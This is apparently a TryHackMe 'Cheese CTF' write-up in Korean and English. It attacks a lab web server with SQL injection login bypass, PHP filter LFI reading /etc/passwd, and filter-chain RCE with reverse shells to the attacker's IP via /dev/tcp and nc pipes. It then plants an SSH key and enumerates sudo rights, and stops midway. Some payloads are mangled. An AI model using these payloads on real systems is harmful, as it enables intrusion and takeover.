Cheese CTF

agnusdei·2025년 8월 4일

THM

목록 보기

2/15

ip: 10.201.71.110

nmap -Pn -oN namp.txt -sV -sC 10.201.71.110 --open

ip: 10.201.71.110

nmap -Pn -oN namp.txt -sV -sC 10.201.71.110 --open

all port are opened... so we are gonna to check step by step known port 22, 80, 8080, 5432... etc

──(root㉿docker-desktop)-[/]
└─# cat namp.txt | grep 8080/tcp
8080/tcp open http-proxy?

┌──(root㉿docker-desktop)-[/]
└─# cat namp.txt | grep 80/tcp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

┌──(root㉿docker-desktop)-[/]
└─# cat namp.txt | grep 22/tcp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)

┌──(root㉿docker-desktop)-[/]
└─# cat namp.txt | grep 5432/tcp
5432/tcp open postgresql?

┌──(root㉿docker-desktop)-[/]
└─# cat namp.txt | grep 3306
3306/tcp open mysql?

http 10.201.71.110
┌──(root㉿docker-desktop)-[/]
└─# http 10.201.71.110=======
http 10.201.71.110
┌──(root㉿docker-desktop)-[/]
└─# http 10.201.71.110

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>The Cheese Shop</title>
    <link rel="stylesheet" href="style.css" />
  </head>
  <body>
    <header>
      <div class="container">
        <h1>The Cheese Shop</h1>
        <nav>
          <ul>
            <li><a href="#products">Products</a></li>
            <li><a href="#about">About Us</a></li>
            <li><a href="#contact">Contact</a></li>
            <li><a href="login.php">Login</a></li>
          </ul>
        </nav>
      </div>
    </header>

    <section id="products">
      <div class="container">
        <h2>Our Cheese Selection</h2>
        <div class="product">
          <img src="images/cheese2.jpg" alt="Cheese 1" />
          <h3>Cheddar</h3>
        </div>
        <div class="product">
          <img src="images/cheese3.jpg" alt="Cheese 2" />
          <h3>Gouda</h3>
        </div>
        <div class="product">
          <img src="images/cheese1.jpg" alt="Cheese 3" />
          <h3>Brie</h3>
        </div>
        <h2>And more!</h2>
      </div>
    </section>

    <section id="about">
      <div class="container">
        <h2>About Us</h2>
        <p>
          Welcome to The Cheese Shop, your source for the finest cheeses from
          around the world.
        </p>
      </div>
    </section>

    <section id="contact">
      <div class="container">
        <h2>Contact Us</h2>
        <p>Have questions? Contact us at info@thecheeseshop.com</p>
      </div>
    </section>

    <script src="script.js"></script>
  </body>
</html>

info@thecheeseshop.com

http 10.201.71.110/login.php

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Login Page</title>
    <link rel="stylesheet" href="login.css" />
  </head>
  <body>
    <div class="login-container">
      <h1>Login</h1>

      <form method="POST">
        <div class="form-group">
          <label for="username">Username</label>
          <input type="text" id="username" name="username" required />
        </div>
        <div class="form-group">
          <label for="password">Password</label>
          <input type="password" id="password" name="password" required />
        </div>
        <button type="submit">Login</button>
      </form>
    </div>
    <div id="status"></div>
  </body>
</html>

SQL injection

┌──(root㉿docker-desktop)-[/]
└─# ffuf -u http://cheesectf.thm/login.php -d 'username=FUZZ&password=asd' -w /usr/share/seclists/Fuzzing/login_bypass.txt

    /'___\  /'___\           /'___\
   /\ \__/ /\ \__/  __  __  /\ \__/
   \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
    \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
     \ \_\   \ \_\  \ \____/  \ \_\
      \/_/    \/_/   \/___/    \/_/

   v2.1.0-dev

:: Method : POST
:: URL : http://cheesectf.thm/login.php
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/login_bypass.txt
:: Data : username=FUZZ&password=asd
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

admin)(&) [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 339ms]
' or 1 or ' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 345ms]
)(|( [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 340ms]
pwd) [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 347ms]
' or '1'='1 [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 354ms]
pwd)) [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 348ms]
admin' or ' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 340ms]
password [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 348ms]

```
                  [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 348ms]
```
pwd [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 345ms]
123456 [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 454ms]
' or ''&' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 400ms]
' or ''' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 400ms]
' ' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 400ms]
' or ''^' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 400ms]
'' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 400ms]
' or ''-' [Status: 200, Size: 888, Words: 227, Lines: 29, Duration: 400ms]

All success

sql inject

|| 는 되는데 OR 는 안 되네?

' || 1=1;-- -
' || 1=1 #;

' OR 1=1;-- -

username=%27+%7C%7C+1%3D1%3B--+-&password=1

http://10.201.71.110/secret-script.php?file=supersecretadminpanel.html

directory traversal -> php filter -> file inclusion vulnerability

http://10.201.71.110/secret-script.php?file=php://filter/resource=supersecretmessageforadmin
http://10.201.71.110/secret-script.php?file=php://filter/resource=users.html

http://10.201.71.110/secret-script.php

http://10.201.71.110/secret-script.php?file=php://filter/resource=/etc/passwd

/etc/password try it out!

┌──(root㉿docker-desktop)-[/]
└─# http http://10.201.71.110/secret-script.php?file=php://filter/resource=/etc/passwd
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 739
Content-Type: text/html; charset=UTF-8
Date: Sun, 03 Aug 2025 13:25:39 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
comte:x:1000:1000:comte:/home/comte:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ubuntu:x:1001:1002:Ubuntu:/home/ubuntu:/bin/bash

comte 1000 1000

php_filter_chain_generator -> A tool that enables RCE without file upload by leveraging PHP filters -> filter 를 활용

ip : 10.201.71.110

-> 백틱 내 문자열 쉘 커맨드로 실행

ip : 10.201.71.110

실행 되어버림

check for user info

ip : 10.201.71.110

Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output " to save to a file.

바이너리 경고 -> 다시

result -> id -> www-data -> 일반적으로 nginx, apache 가 사용하는 시스템 계정 -> backup, passwd 파일등 접근 되는지 check!

깨진 문자열을 보니 base64 를 사용하는 것으로 보임

php filter 를 이용한 LFI

https://www.revshells.com/

sh -i >& /dev/tcp/10.8.136.212/1234 0>&1

바로 사용하니까 실패 -> bypass

python3 php_filter_chain_generator.py --chain '& /dev/tcp/10.8.136.212/1234 0>&1');?>'
bash: connect: Connection refused
bash: /dev/tcp/10.8.136.212/1234: Connection refused

python3 php_filter_chain_generator.py --chain '& /dev/tcp/10.8.136.212/1234 0>&1');?>'

base64 인코딩 -> PD9waHAgZWNobyBleGVjKCdzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEzNi4yMTIvMTIzNCAwPiYxJyk7Pz4K

echo "& /dev/tcp/10.8.136.212/1234 0>&1');?>" | base64

make payload -> expolit filter vulnerablity

PD9waHAgZWNobyBleGVjKCdzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEzNi4yMTIvMTIzNCAwPiYxJyk7Pz4K | bash

python3 php_filter_chain_generator.py --chain ''

vert.base64-decode/resource=php://temp".iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-d
�
P��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@

깨져서 실패 재시도

뭔가 부족함

P��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@

...

페이로드 제작 -> 이건 되는 방식

python3 php_filter_chain_generator.py --chain '&1|nc 10.8.136.212 1234 >/tmp/f"); ?>' | grep '^php' > payload.txt

curl -s "http://10.201.71.110/secret-script.php?file=$(cat payload.txt)"

페이로드 제작 -> 이건 안 되는 방식 -> sh 은 안 됨 /dev/tcp 지원하지 않으므로 bash 로 수정해서 시도하기 혹은 안전하게 pipe 로 시도하기

python3 php_filter_chain_generator.py --chain '& /dev/tcp/10.8.136.212/1234 0>&1"); ?>'

ip: 10.201.71.110

python3 php_filter_chain_generator.py --chain '& /dev/tcp/10.8.136.212/1234 0>&1"); ?>'

ip: 10.201.71.110 -> bash 방식도 실패

�
P��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@C��>==�@
┌──(root㉿docker-desktop)-[/]

ip: 10.201.71.110 -> named pipe 방식 성공

ip: 10.201.71.110

reverse shell success!

─(root㉿docker-desktop)-[/]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.136.212] from (UNKNOWN) [10.201.71.110] 59146
sh: 0: can't access tty; job control turned off
$ls adminpanel.css images index.html login.css login.php messages.html orders.html secret-script.php style.css supersecretadminpanel.html supersecretmessageforadmin users.html$

$ pwd
/var/www/html
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cd home
$ ls
comte
ubuntu

cd comte
$ ls
snap
user.txt

안 열리네 ...

drwx------ 3 comte comte 4096 Mar 25 2024 snap
-rw------- 1 comte comte 4276 Sep 15 2023 user.txt

$ ls -al
total 24
drwxr-xr-x 3 ubuntu ubuntu 4096 Aug 4 10:35 .
drwxr-xr-x 4 root root 4096 Aug 4 10:35 ..
-rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Aug 4 10:35 .ssh

comte 유저 .ssh 발견

$ cd /home/comte/
$ ls -al
total 52
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 .
drwxr-xr-x 4 root root 4096 Aug 4 10:35 ..
-rw------- 1 comte comte 55 Apr 4 2024 .Xauthority
lrwxrwxrwx 1 comte comte 9 Apr 4 2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25 2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27 2023 .cache
drwx------ 3 comte comte 4096 Mar 25 2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25 2024 .local
-rw-r--r-- 1 comte comte 807 Feb 25 2020 .profile
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .ssh
-rw-r--r-- 1 comte comte 0 Sep 27 2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4096 Mar 25 2024 snap
-rw------- 1 comte comte 4276 Sep 15 2023 user.txt

authorized_keys
$ ls -al
total 12
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 ..
-rw-rw-rw- 1 comte comte 101 Aug 4 14:08 authorized_keys
$

공개키 생성

┌──(root㉿docker-desktop)-[/]
└─# ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/ided25519):
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:qnl77ebZO2ZVigRWMblteFIxPxaeJg8NeAitMYKdyRo root@docker-desktop
The key's randomart image is:
+--[ED25519 256]--+
| + o.o.+oo |
| E _ oo+.o=oo|
| o ..+..B B.|
| . . = X o|
| S . = + |
| . . o |
| . . . |
| o. . oo+ |
| o..o ++ooo |
+----[SHA256]-----+

┌──(root㉿docker-desktop)-[/]
└─# cat /root/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJmlWmqRlmMIc40OFLpAQwuH+Dvu7WWOVDaK/djJ2F3I root@docker-desktop

공개키 설정

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJmlWmqRlmMIc40OFLpAQwuH+Dvu7WWOVDaK/djJ2F3I root@docker-desktop' > /home/comte/.ssh/authorized_keys

ip: 10.201.71.110

ssh access

ssh -i /root/.ssh/id_ed25519 comte@10.201.71.110

┌──(root㉿docker-desktop)-[/]
└─# ssh -i /root/.ssh/id_ed25519 comte@10.201.71.110
The authenticity of host '10.201.71.110 (10.201.71.110)' can't be established.
ED25519 key fingerprint is SHA256:fEZEYx5zTn15pnnIUB/bgh+k+/4/LT69vsGaFpZdfcY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.201.71.110' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)

Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/pro

System information as of Mon 04 Aug 2025 02:11:49 PM UTC

System load: 0.08 Processes: 139
Usage of /: 30.4% of 18.53GB Users logged in: 0
Memory usage: 9% IPv4 address for ens5: 10.201.71.110
Swap usage: 0%

Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.

https://ubuntu.com/aws/pro

Expanded Security Maintenance for Applications is not enabled.

8 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Thu Apr 4 17:26:03 2024 from 192.168.0.112
comte@ip-10-201-71-110:~$

ip: 10.201.71.110

Last login: Thu Apr 4 17:26:03 2024 from 192.168.0.112
comte@ip-10-201-71-110:~$ ls
snap user.txt
comte@ip-10-201-71-110:~$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}

comte@ip-10-201-71-110:/$ find / -perm -4000 -type f 2>/dev/null
/snap/snapd/21184/usr/lib/snapd/snap-confine
/snap/snapd/20092/usr/lib/snapd/snap-confine
/snap/core20/2501/usr/bin/chfn
/snap/core20/2501/usr/bin/chsh
/snap/core20/2501/usr/bin/gpasswd
/snap/core20/2501/usr/bin/mount
/snap/core20/2501/usr/bin/newgrp
/snap/core20/2501/usr/bin/passwd
/snap/core20/2501/usr/bin/su
/snap/core20/2501/usr/bin/sudo
/snap/core20/2501/usr/bin/umount
/snap/core20/2501/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2501/usr/lib/openssh/ssh-keysign
/snap/core20/2182/usr/bin/chfn
/snap/core20/2182/usr/bin/chsh
/snap/core20/2182/usr/bin/gpasswd
/snap/core20/2182/usr/bin/mount
/snap/core20/2182/usr/bin/newgrp
/snap/core20/2182/usr/bin/passwd
/snap/core20/2182/usr/bin/su
/snap/core20/2182/usr/bin/sudo
/snap/core20/2182/usr/bin/umount
/snap/core20/2182/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2182/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
comte@ip-10-201-71-110:/$

ssh -i /root/.ssh/id_ed25519 comte@10.201.71.110

comte@ip-10-201-71-110:/$ find /bin /usr/bin /sbin /usr/sbin /usr/local/bin -perm -4000 -type f 2>/dev/null
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chfn

sudo -l

comte@ip-10-201-71-110:/$ sudo -l
User comte may run the following commands on ip-10-201-71-110:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer

omte@ip-10-201-71-110:/$ find / -name exploit.timer 2>/dev/null
/etc/systemd/system/exploit.timer
comte@ip-10-201-71-110:/$

comte@ip-10-201-71-110:/etc/systemd/system$ ls -al
total 132
drwxr-xr-x 21 root root 4096 May 11 19:44 .
drwxr-xr-x 5 root root 4096 Apr 26 05:48 ..
drwxr-xr-x 2 root root 4096 May 11 19:44 cloud-config.target.wants
drwxr-xr-x 2 root root 4096 Mar 14 2023 cloud-final.service.wants
drwxr-xr-x 2 root root 4096 May 11 19:44 cloud-init.target.wants
lrwxrwxrwx 1 root root 40 Mar 14 2023 dbus-org.freedesktop.ModemManager1.service -> /lib/systemd/system/ModemManager.service
lrwxrwxrwx 1 root root 44 Mar 14 2023 dbus-org.freedesktop.resolve1.service -> /lib/systemd/system/systemd-resolved.service
lrwxrwxrwx 1 root root 36 Sep 27 2023 dbus-org.freedesktop.thermald.service -> /lib/systemd/system/thermald.service
lrwxrwxrwx 1 root root 45 Mar 14 2023 dbus-org.freedesktop.timesync1.service -> /lib/systemd/system/systemd-timesyncd.service
drwxr-xr-x 2 root root 4096 Mar 14 2023 default.target.wants
